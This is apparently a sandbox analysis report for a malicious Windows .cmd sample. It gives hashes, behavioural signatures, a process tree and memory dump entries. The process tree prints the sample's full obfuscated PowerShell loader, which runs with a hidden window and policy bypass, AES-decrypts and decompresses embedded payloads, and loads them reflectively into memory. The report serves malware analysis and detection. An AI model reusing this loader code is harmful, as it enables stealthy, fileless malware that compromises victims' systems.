Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
24-05-2024 01:42
Static task
static1
Behavioral task
behavioral1
Sample
c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
Resource
win10v2004-20240426-en
General
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Target
c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd
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Size
82KB
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MD5
0c9dd4a4644d5271be6bf540daccb191
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SHA1
452415383fd54926ce19f8f78258dc57d87c98ef
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SHA256
c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0
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SHA512
194d82615358dfc579e508768e2b2e3357069ea626cf90415f58459943a147e0c58d600091bf8840c1e06db9962ca01b3cd2cf9f1ee3d6685bd8d62a6219eab5
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SSDEEP
1536:cHkGj8vp9NrhTu1iCrjNk9CRsphfkA0tNJxCK9dLbw3/4cLT4H/INmxklg:cHB8nrhTu1L8CRsp+RtIK4v3nUcM
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2028 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2028 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2208 wrote to memory of 2216 2208 cmd.exe cmd.exe PID 2208 wrote to memory of 2216 2208 cmd.exe cmd.exe PID 2208 wrote to memory of 2216 2208 cmd.exe cmd.exe PID 2208 wrote to memory of 2428 2208 cmd.exe cmd.exe PID 2208 wrote to memory of 2428 2208 cmd.exe cmd.exe PID 2208 wrote to memory of 2428 2208 cmd.exe cmd.exe PID 2428 wrote to memory of 3000 2428 cmd.exe cmd.exe PID 2428 wrote to memory of 3000 2428 cmd.exe cmd.exe PID 2428 wrote to memory of 3000 2428 cmd.exe cmd.exe PID 2428 wrote to memory of 2116 2428 cmd.exe cmd.exe PID 2428 wrote to memory of 2116 2428 cmd.exe cmd.exe PID 2428 wrote to memory of 2116 2428 cmd.exe cmd.exe PID 2428 wrote to memory of 2028 2428 cmd.exe powershell.exe PID 2428 wrote to memory of 2028 2428 cmd.exe powershell.exe PID 2428 wrote to memory of 2028 2428 cmd.exe powershell.exe
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c \"set __=^&rem\2⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.execmd /c \"set __=^&rem\3⤵
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\c993fe19772483493944a04b83c5842049b2ddf5f4f2289f7ecd67d1245658e0.cmd';$pbWn='CCiQDreCiQDatCiQDeCiQDDeCiQDcCiQDryCiQDptCiQDoCiQDrCiQD'.Replace('CiQD', ''),'ReaxqAidLxqAiinxqAiesxqAi'.Replace('xqAi', ''),'InQyKRvokQyKReQyKR'.Replace('QyKR', ''),'SplnwOxitnwOx'.Replace('nwOx', ''),'TwpaoranwpaosfowpaormFwpaoinawpaolBwpaolwpaoocwpaokwpao'.Replace('wpao', ''),'MHTmMainHTmMModHTmMuleHTmM'.Replace('HTmM', ''),'DjIQtejIQtcomjIQtprjIQtesjIQtsjIQt'.Replace('jIQt', ''),'GXkOEetXkOECuXkOErrXkOEenXkOEtPXkOErocXkOEeXkOEssXkOE'.Replace('XkOE', ''),'CopSQYnyTSQYnoSQYn'.Replace('SQYn', ''),'EnPEgatrPEgayPoPEgainPEgatPEga'.Replace('PEga', ''),'ElmTJxemmTJxenmTJxtAtmTJx'.Replace('mTJx', ''),'FrqclComqclCBqclCaseqclC64qclCStqclCrinqclCgqclC'.Replace('qclC', ''),'ChraKjanraKjgeraKjExraKjtenraKjsraKjioraKjnraKj'.Replace('raKj', ''),'LwzKkoawzKkdwzKk'.Replace('wzKk', '');powershell -w hidden;function YbNek($AfeKW){$JkaZj=[System.Security.Cryptography.Aes]::Create();$JkaZj.Mode=[System.Security.Cryptography.CipherMode]::CBC;$JkaZj.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$JkaZj.Key=[System.Convert]::($pbWn[11])('V0mh2MCToA3bNgC8EKO2KMAaZFb3l+ctJ6Wraknusvw=');$JkaZj.IV=[System.Convert]::($pbWn[11])('prJfwam6dZ/6yyv50tuZSA==');$fCuEB=$JkaZj.($pbWn[0])();$kBOHP=$fCuEB.($pbWn[4])($AfeKW,0,$AfeKW.Length);$fCuEB.Dispose();$JkaZj.Dispose();$kBOHP;}function hgyps($AfeKW){$ALoua=New-Object System.IO.MemoryStream(,$AfeKW);$GsRzp=New-Object System.IO.MemoryStream;$WrauX=New-Object System.IO.Compression.GZipStream($ALoua,[IO.Compression.CompressionMode]::($pbWn[6]));$WrauX.($pbWn[8])($GsRzp);$WrauX.Dispose();$ALoua.Dispose();$GsRzp.Dispose();$GsRzp.ToArray();}$dfSrb=[System.IO.File]::($pbWn[1])([Console]::Title);$CHSWN=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 5).Substring(2))));$UqEWf=hgyps (YbNek ([Convert]::($pbWn[11])([System.Linq.Enumerable]::($pbWn[10])($dfSrb, 6).Substring(2))));[System.Reflection.Assembly]::($pbWn[13])([byte[]]$UqEWf).($pbWn[9]).($pbWn[2])($null,$null);[System.Reflection.Assembly]::($pbWn[13])([byte[]]$CHSWN).($pbWn[9]).($pbWn[2])($null,$null); "3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/2028-4-0x000007FEF5A9E000-0x000007FEF5A9F000-memory.dmpFilesize
4KB
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memory/2028-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmpFilesize
2.9MB
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memory/2028-6-0x0000000002890000-0x0000000002898000-memory.dmpFilesize
32KB
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memory/2028-7-0x000007FEF57E0000-0x000007FEF617D000-memory.dmpFilesize
9.6MB
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memory/2028-8-0x000007FEF57E0000-0x000007FEF617D000-memory.dmpFilesize
9.6MB
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memory/2028-9-0x000007FEF57E0000-0x000007FEF617D000-memory.dmpFilesize
9.6MB
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memory/2028-10-0x000007FEF57E0000-0x000007FEF617D000-memory.dmpFilesize
9.6MB
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memory/2028-11-0x000007FEF57E0000-0x000007FEF617D000-memory.dmpFilesize
9.6MB
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memory/2028-12-0x000007FEF57E0000-0x000007FEF617D000-memory.dmpFilesize
9.6MB
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memory/2028-13-0x000007FEF5A9E000-0x000007FEF5A9F000-memory.dmpFilesize
4KB